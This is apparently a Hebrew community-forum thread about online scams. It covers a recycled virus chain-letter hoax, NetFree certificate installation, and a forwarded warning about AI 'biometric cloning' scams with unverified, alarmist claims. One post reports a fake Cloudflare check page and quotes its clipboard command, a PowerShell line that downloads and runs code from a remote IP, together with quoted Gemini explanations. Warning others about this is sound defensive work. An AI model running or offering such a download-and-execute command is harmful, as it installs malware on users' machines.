מידע שימושי באישון ליל פרץ לביתי שודד חמוש

אזהרה חמורה מאגף טכנולוגיות מידע – משרד ראש הממשלה
אזהרה חמורה
אנא קראו והעבירו לכל מי שאתם יכולים במהירות האפשרית.
עליכם להיזהר בימים הקרובים. אל תענו למספר הטלפון *054-8010603* לא הודעות ולא וואצאפ. כלום!!!!
בשום מקרה. זהו וירוס הפותח את תמונת הגלויה השורפת את כל הדיסק הקשיח שלכם.
הווירוס הזה יישלח אליכם ממישהו שיש לו את כתובת הדוא"ל שלכם ברשימת אנשי הקשר. לכן עליכם לשלוח את ההודעה הזו לכל אנשי הקשר שלכם. מוטב לקבל את ההודעה הזו 25 פעם מאשר לקבל את הווירוס ולפתוח אותו.
אם אתם מקבלים דוא"ל שבו כתוב POSTCARD, גם אם הוא נשלח על ידי חבר,
אל תפתחו אותו. כבו מייד את המחשב שלכם. CNN הכריזה על הווירוס הזה כגרוע ביותר. הוא דורג ע"י מייקרוסופט כווירוס ההרסני ביותר מאז ומעולם.
הוא התגלה ע"י McAfee לפני מספר ימים ואין עדיין אפשרות לתקן אותו.
זכרו: שלחו את ההודעה לידידיכם ולאנשי הקשר שלכם. כולנו נרוויח מכך.
הקובץ נחסם ע"י מוצרי אבטחת המידע של המשרד.
fake.
פורסם באתר ממשלתי שזה פייק.
לפני 5 דק' שלחתי לאחותי מייל זהה שקבלתי לפני שנתיים
המייל הזה עובר בסבב קבוע ופעם בתקופה הוא חוזר...
לא רלוונטי מזמן
וכנראה מעולם לא היה נכון
 
fake.
פורסם באתר ממשלתי שזה פייק.
איך אתם מסבירים שזה מופיע כאן?
נכון שזה מ2017 אבל עדיין מופיע


עריכה: אני רואה שנפתח על זה אשכול וננעל, @קרעפט העלה מקור ממשלתי שזה פייק, הנה כאן :
 
נערך לאחרונה ב:
איך אתם מסבירים שזה מופיע כאן?
נכון שזה מ2017 אבל עדיין מופיע
לא יודעת.
אני איתי באתר ממשלתי שאין בכלל עובד כזה וזה פייק.
(גם מ2017)
 
לא רק שההודעה הזאת פייק,
אלא שימו לב:
בהודעה הזאת יש את כל המאפיינים החשודים, כדי שתגרום לכם לגרוס אותה מיד.
1. היא הגיעה ממקור בלתי ידוע. תומר שמש אינו סבא שלכם, נכון?
2. היא אינה מביאה שום הוכחה. אפילו לא עמומה. כלום. מספרת לי משהו, למה שאאמין לה?
3. היא דורשת ממני להעביר את זה הלאה.
המאפיין השלישי הזה - אמור אוטומטית להעלות לכם את כל מנגונני האבטחה לרמת אזעקה. אדם שבוער לו שאעביר את ההודעה הלאה - הוא אדם חשוד! והוא לא רוצה רק שאעביר הלאה, אלא לכל אנשי הקשר שלי... אם תחשבו על ההודעה בהיגיון, אין שום שייכות בין מספר שמסתובב בוואטסאפ באופן כללי לבין כל אנשי הקשר שלי.
כשאדם מכריח אתכם להעביר את ההודעה הלאה - זה חשוד. אל תעבירו. רוצים להיות רגועים? תיזהרו מהודעות וואטסאפ מהמספר שהוא מזהיר ממנו. דואגים לחברים שלכם, רוצים להעביר להם גם? תדאגו להם בכך שלא תעבירו להם גם.
אם אתם רוצים להיות סופר רגועים - כגון בבקשות תפילה, פשוט תפתחו מייל חדש, תקלידו בעצמכם את תוכן ההודעה ותשלחו לחברים שלכם. אל תתנו לו לעקוב אחרי המייל המקורי שיגיע אל כל כתובות החברים שלכם.

כשאדם מתחנן אליכם להעביר את ההודעה הלאה - קודם כל בודקים את זה. מי אמר שזה אמין? למה שאני אתרום סכום כסף גדול להומלס, כשזה מגיע ישירות לכיסו של צייד מיילים מתוחכם? בדקו את אמינות ההודעה. היא נשמעת חשודה? גרסו אותה. נשמעת אמינה? נסו לאמת אותה. תתקשרו למספר של תומר שמש שצורף בסוף ההודעה.
אני התקשרתי. אין מענה.
 
קודם כל, תודה לכולם.
אני בורה בעניין, איך אני מתקינה תעודת אבטחה של נטפרי?
 
קודם כל, תודה לכולם.
אני בורה בעניין, איך אני מתקינה תעודת אבטחה של נטפרי?
תעודת האבטחה

עמוד ראשי > תעודת האבטחה ‎‎

תעודת אבטחה הינה פיסת מידע שע"י חישובים מאפשרת לדפדפן האינטרנט לוודא שהשרת איתו הוא מתקשר נבדק ונחתם ע"י מנפיק תעודת האבטחה שעליו אנחנו סומכים.
משתמשי נטפרי צריכים להתקין תעודת אבטחה כדי שנטפרי תוכל לסנן את האתרים המאובטחים. (ראו כאן מידע נוסף).
ללא התקנת תעודת האבטחה האתרים עדיין יהיו מסוננים, אבל המחשב יסרב להיכנס אליהם מכיון שהוא לא סומך על החתימה של האתר שהשתנתה בעקבות הסינון.
שימו לב, לכל ספק אינטרנט בנטפרי יש תעודת אבטחה משלו. במידה והחלפתם ספק תצטרכו להתקין מחדש את תעודת האבטחה.
ניתן להוריד מכאן תעודת אבטחה לפי ספק.

הערה: אם התקנתם את תעודת האבטחה, ובדקתם בעיות נפוצות ולא נמצאו בעיות, אך עדיין מופיע שגיאה באישור האבטחה, ראו בעיות אפשריות בהתקנת תעודה ופתרונותיהן.

התקנה
התקנת תעודה נפוצה (windows)


(מקור)
 
ומה קורה עם פינטרסט?
הרי יש שם מליוני קישורים.... ואיך אפשר לדעת מי הכניס אותם ולאיפה הם מובילים,
יכול להיות שאסור להכנס לאתר הזה?
 
ומה זה אומר אם אין לא את HTTP ולא את HTTPS? סימן של מנעול יש.
תודה.
סימן של מנעול זה אומר שהאתר מאובטח ושיש לו S.
בשורה של הקישור לא תמיד רואים את כל האותיות, אבל אם תקחי את הלינק ותעתיקי אותו, למשל במייל, תראי את הקידומת HTTPS.

ומה קורה עם פינטרסט?
הרי יש שם מליוני קישורים.... ואיך אפשר לדעת מי הכניס אותם ולאיפה הם מובילים,
יכול להיות שאסור להכנס לאתר הזה?
לפינטרסט עצמו אין בעיה להיכנס.
אבל כשאת מורידה תמונה, תעקבי אחרי המקור שלה. תבדקי מאיזה אתר היא, מה כמות הצפיות וההורדות שלה, האם היא נראית אמינה או לא.
 
תעודת האבטחה

עמוד ראשי > תעודת האבטחה ‎‎

תעודת אבטחה הינה פיסת מידע שע"י חישובים מאפשרת לדפדפן האינטרנט לוודא שהשרת איתו הוא מתקשר נבדק ונחתם ע"י מנפיק תעודת האבטחה שעליו אנחנו סומכים.
משתמשי נטפרי צריכים להתקין תעודת אבטחה כדי שנטפרי תוכל לסנן את האתרים המאובטחים. (ראו כאן מידע נוסף).
ללא התקנת תעודת האבטחה האתרים עדיין יהיו מסוננים, אבל המחשב יסרב להיכנס אליהם מכיון שהוא לא סומך על החתימה של האתר שהשתנתה בעקבות הסינון.
שימו לב, לכל ספק אינטרנט בנטפרי יש תעודת אבטחה משלו. במידה והחלפתם ספק תצטרכו להתקין מחדש את תעודת האבטחה.
ניתן להוריד מכאן תעודת אבטחה לפי ספק.

הערה: אם התקנתם את תעודת האבטחה, ובדקתם בעיות נפוצות ולא נמצאו בעיות, אך עדיין מופיע שגיאה באישור האבטחה, ראו בעיות אפשריות בהתקנת תעודה ופתרונותיהן.

התקנה
התקנת תעודה נפוצה (windows)


(מקור)
תודה על הסיוע!!
איך אני יכולה לגלוש אם לא עדכנתי תעודת אבטחה?
כשאני מורידה את הקובץ המחשב נותן אזהרה שהקובץ עלול לסכן את המחשב. להמשיך?
 
לפני 5 דק' שלחתי לאחותי מייל זהה שקבלתי לפני שנתיים
המייל הזה עובר בסבב קבוע ופעם בתקופה הוא חוזר...
לא רלוונטי מזמן
וכנראה מעולם לא היה נכון
כל פעם שאתם מקבלים כזה סוג הודעה תעשו חיפוש בגוגל על קטעים מתוך ההודעה הזו
עשיתי חיפוש וראיתי מיד שההודעה הזו הופיעה בכל מיני פורומים לפני 5 שנים שנתיים....
 
תודה על הסיוע!!
איך אני יכולה לגלוש אם לא עדכנתי תעודת אבטחה?
כשאני מורידה את הקובץ המחשב נותן אזהרה שהקובץ עלול לסכן את המחשב. להמשיך?
אם הורדת ממקום בטוח, ללחוץ על שמור.
בנטפרי נתן לללחוץ על הקישור: https://netfree.link/pc/windows/CertInstaller.exe
או לכתוב בדפדפן 1.2.3.4 ובצד ימין למטה להוריד.
או ללחוץ למעלה על פותר הבעיות האוטומטי והוא כבר ימצא אם חסרה תעודת אבטחה ומהיכן להוריד אותה.
 
אם הורדת ממקום בטוח, ללחוץ על שמור.
בנטפרי נתן לללחוץ על הקישור: https://netfree.link/pc/windows/CertInstaller.exe
או לכתוב בדפדפן 1.2.3.4 ובצד ימין למטה להוריד.
או ללחוץ למעלה על פותר הבעיות האוטומטי והוא כבר ימצא אם חסרה תעודת אבטחה ומהיכן להוריד אותה.
תודה על העזרה.
הורדתי.
מה הלאה? צריך לפתוח את הקובץ? לשמור אותו איך שהוא?
 
מצאתי צורך להקפיץ אשכול חשוב זה אחרי הודעות ספאם מלחיצות ומטעות שקיבלתי.
 
שאלה: אם קיבלתי הודעה שברור שהיא פישיניג, אבל לא לחצתי על שום קישור, יש מה לחשוש?
והאם יש הבדל אם אני בג'ימייל או באאוטלוק?
@למדן וידען
 

פרוגבוט

תוכן שיווקי
פרסומת

פוסטים חדשים שאולי לא קראת....

אשכולות דומים

*שיטת הונאה חדשה!*
*30 דקות יכולות להרוס לכם את החיים.*
זו לא הונאת טלפון רגילה — היא מסוכנת הרבה יותר.
הם לא צריכים את הכסף שלכם, לא את הסיסמה שלכם ולא את האמון שלכם.
הם צריכים רק את הטוב לב שלכם.

לאחרונה הופיעה במרכזי קניות, בתחנות מטרו, בשווקים ובמקומות ציבוריים “הונאת בקשת עזרה” חדשה.
המבצעים הם בדרך כלל אנשים לבושים היטב, בגיל בינוני או מבוגר.
הם עשויים לומר שאינם יודעים להשתמש בטלפון, שהם צריכים לבדוק את גובה הפנסיה או הסבסוד, או שהם נכנסו בטעות לעמוד הלא נכון — ולבקש מכם לעזור להם עם הטלפון.

*החלק המסוכן:*
כאשר אתם לוקחים את הטלפון ליד, לעיתים קרובות כבר פועל בו שיחת וידאו, הקלטת מסך או זיהוי פנים.
מישהו בצד השני צופה בכם. אתם חושבים שאתם עוזרים — אבל למעשה אוספים את הנתונים הביומטריים שלכם.

זו לא הונאה רגילה.
זו הונאה ביומטרית המבוססת על בינה מלאכותית.
הם לא רוצים את הכסף שלכם — הם רוצים אתכם.

אם תיגעו בטלפון (טביעת אצבע), תקראו מספרים או קודים (קול), או תביטו במסך בזמן השיחה (פנים), שלושת המזהים הביומטריים העיקריים שלכם — טביעת אצבע, קול ופנים — עלולים להיגנב.

בינה מלאכותית מודרנית יכולה ליצור “שיבוט דיגיטלי” שלכם — כמעט מושלם.

*ומה שקורה אחר כך מפחיד:*
הם יכולים להשתמש בשיבוט הדיגיטלי שלכם כדי לקחת הלוואות אונליין, מימון צרכני, משיכת כספים, ואימות אוטומטי באמצעות פנים וקול.
תוך 30 דקות כל מסגרת האשראי שלכם עלולה להיגמר.
כשתקבלו הודעות מהבנק, תגלו שהכסף שלכם לא נעלם — אלא להפך, אתם שקועים בחובות של אלפים או אפילו מיליונים.

---

### *זכרו את 3 הכללים:*

1. *לעולם אל תעזרו לאנשים זרים עם הטלפון שלהם.*
אל תיגעו, אל תלחצו, אל תצפו ואל תקראו שום דבר בקול — גם אם יגידו “רק לחיצה אחת”.

2. *שיחות וידאו לא מוכרות:*
נתקו מיד.
לעולם אל תיענו לבקשה “להסתכל למצלמה” או “לדבר רגע”.

3. *שתפו את ההודעה הזו עם מבוגרים, ילדים וחברים טובי לב.*
המתחזים מכוונים עכשיו לאנשים טובים.

---

### *תזכורת אחרונה:*
לעולם אל תחשבו: “לי זה לא יקרה” או “אני מספיק חכם כדי לא ליפול”.
בדיוק על הביטחון הזה ועל טוב הלב הזה הם בונים.

*אנא שתפו. כל שיתוף נוסף עשוי להציל קורבן אחד פחות.*
ניסיתי להכנס לאתר של הרב אפרתי - נותן הכשרות
לאחר לחיצה על סימון - אתה לא רובוט...

הופתעתי מאוד לראות את זה:
1773765478164.png
נראה חשוד!

מאוד חשוד!!!

‫Gemini אמר​

אזהרה: מדובר בהונאה ובתוכנה זדונית (Malware)

התמונה שצירפת מציגה דף מזויף שמתחזה לשירות ההגנה Cloudflare, אך למעשה מדובר בשיטה להרצת קוד זדוני על המחשב שלך.

למה זה מסוכן?

ההוראות בתמונה מבקשות ממך לבצע רצף פעולות חריג מאוד:
  1. צירוף המקשים Win + R: פותח את חלון ה-"הפעלה" (Run) של ווינדוס, שמשמש להרצת פקודות מערכת.
  2. צירוף המקשים Ctrl + V: מדביק פקודה שהאתר העתיק ללוח הגזירים (Clipboard) שלך באופן אוטומטי ברגע שנכנסת לדף או לחצת על כפתור.
  3. לחיצה על OK: מריצה את הפקודה המודבקת.
מה קורה בפועל?ברגע שתלחץ על OK, המחשב יריץ פקודה (בדרך כלל פקודת PowerShell) שמורידה ומתקינה וירוס, תוכנת כופר או תוכנה לגניבת סיסמאות ופרטי בנק. אף שירות אימות לגיטימי (כמו Cloudflare) לא יבקש ממך להריץ פקודות ידניות בחלון ה-Run של המערכת.



מה עליך לעשות?

  • אל תבצע את ההוראות: אל תקיש על שום שילוב מקשים ואל תדביק דבר.
  • סגור את הלשונית מיד: צא מהאתר הזה ואל תחזור אליו.
  • סריקת וירוסים: מומלץ להריץ סריקה מלאה של האנטי-וירוס במחשב שלך (כמו Windows Defender או תוכנה מוכרת אחרת) ליתר ביטחון.
  • ניקוי היסטוריה: כדאי לנקות את הקבצים הזמניים והקוקיז בדפדפן.

בדקתי בלוח מה הפקודה שהוא רצה שאני אריץ במחשב....
זה הפקודה: powershell -c iex(irm 158.94.209.33 -UseBasicParsing) - סכנה! לא להריץ בשום אופן!!!!

תקראו טוב מה גיימני כותב שזה עושה למחשב שלכם...

זהירות! מדובר בתוכנה זדונית (Malware) ודאית.

הפקודה שהעתקת היא הוכחה חותכת לכך שמדובר בניסיון פריצה. בוא נפרק את הפקודה כדי שתבין בדיוק מה היא מנסה לעשות למחשב שלך:

  • powershell: מפעיל את ממשק הפקודות המתקדם של ווינדוס. לממשק זה יש הרשאות עמוקות לשינוי הגדרות מערכת.
  • iex (Invoke-Expression): פקודה שאומרת למחשב: "כל מה שתקבל בהמשך – תריץ אותו כקוד עכשיו".
  • irm (Invoke-RestMethod): פקודה להורדת תוכן מהאינטרנט.
  • 158.94.209.33: זוהי כתובת IP של שרת מרוחק (שאינו קשור ל-Cloudflare). הפקודה מנסה למשוך קובץ "תסריט" (Script) מהשרת הזה.
  • -UseBasicParsing: הוראה לדפדפן הפנימי להתעלם מבדיקות תאימות ולהריץ את הקוד במהירות.



מה המשמעות?

ברגע שהיית לוחץ על OK, המחשב שלך היה פונה לכתובת ה-IP הזו, מוריד קוד זדוני (כמו סוס טרויאני או תוכנת כופר) ומריץ אותו מיד ברקע, בלי שתראה חלון נוסף או אזהרה.

צעדים דחופים אם כבר הרצת את הפקודה:

  1. ניתוק מהאינטרנט: כבה את ה-Wi-Fi או נתק את כבל הרשת מיד כדי למנוע מהווירוס לשלוח מידע החוצה או להוריד רכיבים נוספים.
  2. סריקה במצב בטוח: הפעל את המחשב ב-"מצב בטוח" (Safe Mode) והרץ סריקה מלאה של אנטי-וירוס מעודכן.
  3. שינוי סיסמאות: ממכשיר אחר (טלפון או מחשב נקי), שנה סיסמאות לחשבונות רגישים (מייל, בנק, רשתות חברתיות).




מסקנה:

זהירות!!!

הצטרפות לניוזלטר

איזה כיף שהצטרפתם לניוזלטר שלנו!

מעכשיו, תהיו הראשונים לקבל את כל העדכונים, החדשות, ההפתעות בלעדיות, והתכנים הכי חמים שלנו בפרוג!

לוח מודעות

הפרק היומי

הפרק היומי! כל ערב פרק תהילים חדש. הצטרפו אלינו לקריאת תהילים משותפת!


תהילים פרק כה

אלְדָוִד אֵלֶיךָ יי נַפְשִׁי אֶשָּׂא:באֱלֹהַי בְּךָ בָטַחְתִּי אַל אֵבוֹשָׁה אַל יַעַלְצוּ אֹיְבַי לִי:גגַּם כָּל קוֶֹיךָ לֹא יֵבֹשׁוּ יֵבֹשׁוּ הַבּוֹגְדִים רֵיקָם:דדְּרָכֶיךָ יי הוֹדִיעֵנִי אֹרְחוֹתֶיךָ לַמְּדֵנִי:ההַדְרִיכֵנִי בַאֲמִתֶּךָ וְלַמְּדֵנִי כִּי אַתָּה אֱלֹהֵי יִשְׁעִי אוֹתְךָ קִוִּיתִי כָּל הַיּוֹם:וזְכֹר רַחֲמֶיךָ יי וַחֲסָדֶיךָ כִּי מֵעוֹלָם הֵמָּה:זחַטֹּאות נְעוּרַי וּפְשָׁעַי אַל תִּזְכֹּר כְּחַסְדְּךָ זְכָר לִי אַתָּה לְמַעַן טוּבְךָ יי:חטוֹב וְיָשָׁר יי עַל כֵּן יוֹרֶה חַטָּאִים בַּדָּרֶךְ:טיַדְרֵךְ עֲנָוִים בַּמִּשְׁפָּט וִילַמֵּד עֲנָוִים דַּרְכּוֹ:יכָּל אָרְחוֹת יי חֶסֶד וֶאֱמֶת לְנֹצְרֵי בְרִיתוֹ וְעֵדֹתָיו:יאלְמַעַן שִׁמְךָ יי וְסָלַחְתָּ לַעֲוֹנִי כִּי רַב הוּא:יבמִי זֶה הָאִישׁ יְרֵא יי יוֹרֶנּוּ בְּדֶרֶךְ יִבְחָר:יגנַפְשׁוֹ בְּטוֹב תָּלִין וְזַרְעוֹ יִירַשׁ אָרֶץ:ידסוֹד יי לִירֵאָיו וּבְרִיתוֹ לְהוֹדִיעָם:טועֵינַי תָּמִיד אֶל יי כִּי הוּא יוֹצִיא מֵרֶשֶׁת רַגְלָי:טזפְּנֵה אֵלַי וְחָנֵּנִי כִּי יָחִיד וְעָנִי אָנִי:יזצָרוֹת לְבָבִי הִרְחִיבוּ מִמְּצוּקוֹתַי הוֹצִיאֵנִי:יחרְאֵה עָנְיִי וַעֲמָלִי וְשָׂא לְכָל חַטֹּאותָי:יטרְאֵה אוֹיְבַי כִּי רָבּוּ וְשִׂנְאַת חָמָס שְׂנֵאוּנִי:כשָׁמְרָה נַפְשִׁי וְהַצִּילֵנִי אַל אֵבוֹשׁ כִּי חָסִיתִי בָךְ:כאתֹּם וָיֹשֶׁר יִצְּרוּנִי כִּי קִוִּיתִיךָ:כבפְּדֵה אֱלֹהִים אֶת יִשְׂרָאֵל מִכֹּל צָרוֹתָיו:
נקרא  2  פעמים
למעלה